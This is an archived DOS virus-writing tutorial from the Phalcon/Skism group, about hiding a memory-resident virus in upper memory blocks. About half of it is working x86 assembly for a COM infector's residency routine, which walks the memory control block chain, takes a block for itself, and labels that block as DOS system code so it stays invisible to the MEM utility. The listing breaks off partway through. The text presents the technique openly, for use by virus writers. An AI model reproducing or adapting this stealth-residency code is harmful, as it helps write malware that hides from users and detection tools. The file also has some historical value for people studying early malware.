💾 Archived View for spam.works › mirrors › textfiles › virus › datut010.txt captured on 2023-06-16 at 21:02:10.

View Raw

More Information

-=-=-=-=-=-=-


                             ?????????????
                             UMB Residency
                             ?????????????
                             By Dark Angel
                             Phalcon/Skism
                             ?????????????

One day, while fiddling with loading programs into MSDOS UMB's, I realised
that there are very few viruses that used UMB's. This is surprising, given
the prevalence of UMB's and the ease with which DOS viruses may hide their
presence through the use of UMB's.

The UMB's, or upper memory blocks, consist of the memory above 640K and below
1MB (segments A000 to FFFF). This region was reserved early on for BIOS and
peripherals, notably video memory. There is normally plenty of unused space in
this region, so enterprising programmers found a simple way to incorporate the
memory into DOS's memory allocation scheme. They simply extended the MCB chain
into that region, with MCB's indicating already allocated memory covering the
memory used for other purposes by the machine. In this way, more memory,
albeit fragmented, was usable for loading programs. The UMB's are especially
handy for storing TSR's, since they have smaller memory constraints than most
programs. The programmers at Microsoft, realising the utility of UMB's,
decided to incorporate UMB's into DOS beginning at version 5, so now there is
a standardised method of handling upper memory.

The MCB's handling upper memory are slightly more complex than regular MCB's.
The format of a UMB control block is:

Offset  Size  Description
  00    BYTE  'Z' if last MCB in chain, 'M' otherwise
  01    WORD  PSP segment of owner (8 if MSDOS, 0 if free)
  03    WORD  size of memory block in paragraphs
  05  3 BYTES unused
  08  8 BYTES program name in ASCII or
              "SC" if system code or
              "SD" if system data

The method is pretty simple to understand and very easy to implement. In
DOS 5+, the first UMB can be located through a pointer in the disk buffer
information structure which, in turn, may be located through the DOS master
list structure. This UMB is usually located at 9FFF:0000, but there is no need
for this to be the case. It's simply the most convenient location for it. The
only difference between modifying regular MCB's and UMB's is the extra field
at offset 8 which may be used to mark the block as DOS system code. By marking
this with DOS's usual fields to indicate unusuable memory such as video memory
and ROM, we effectively hide the virus from detection by utilities such as
MEM. Since it doesn't reside in conventional memory (below 640K), there is no
decrease in memory a la 40:13 BIOS manipulating memory residency techniques.

The sample code below, written for a simple COM infector, illustrates the
technique.

start:          xor     di,di

                mov     ax,3306                 ; get true DOS version
                int     21
                inc     al                      ; DOS 4-?
                jz      no_UMBs                 ; if so, we don't have UMB's

                mov     ah,52                   ; get DOS master list
                int     21                      ; structure

                lds     si,es:[bx+12]           ; get ptr to disk buffer info

                mov     ax,ds:[si+1f]           ; get address of the first UMB
                inc     ax                      ; (FFFF if no UMBs present)
                jz      no_UMBs
                dec     ax                      ; undo damage from above
search_chain:   mov     ds,ax                   ; go to the MCB
                cmp     word ptr [di+1],di      ; unused?
                jnz     search_next
                cmp     word ptr [di+3],reslength_P ; MCB large enough to
                ja      handle_MCB              ; hold us and our MCB?
search_next:    cmp     byte ptr [di],'Z'       ; end of chain?
                jz      no_UMBs
                mov     bx,[di+3]               ; go to the next MCB
                inc     ax                      ; 40Hex
                add     ax,bx
                jmp     search_chain

no_UMBs:        mov     ax,cs
                dec     ax                      ; get the MCB for current
                mov     ds,ax                   ; program
                cmp     word ptr [di+3],reslength_P + 1000 ; large enough for
                jna     fail_init               ; program and virus and its
                                                ; MCB?
                jmp     short handle_MCB

                db      0,'(DA/PS)',0

handle_MCB:     sub     word ptr [di+3],reslength_P + 1 ; adjust size of memory
                                                ; area for virus + its MCB
                mov     bx,[di+3]               ; get size of new memory area
                mov     cl,'M'                  ; make sure this MCB doesn't
                xchg    cl,byte ptr [di]        ; mark the end of the chain
                inc     ax
                add     ax,bx                   ; go to virus segment's MCB
                mov     ds,ax
                mov     es,ax

                mov     byte ptr [di],cl        ; patch end of chain indicator
                mov     word ptr [di+1],8       ; mark MCB owned by DOS
                mov     word ptr [di+3],reslength_P ; patch in virus size

                inc     ax                      ; ds->virus segment
                mov     ds,ax

                or      di,8                    ; go to program name field
                mov     ax,'CS'                 ; make virus invisible to MEM
                stosw                           ; by pretending it is
                xor     ax,ax                   ; DOS system code
                stosw
                stosw
                stosw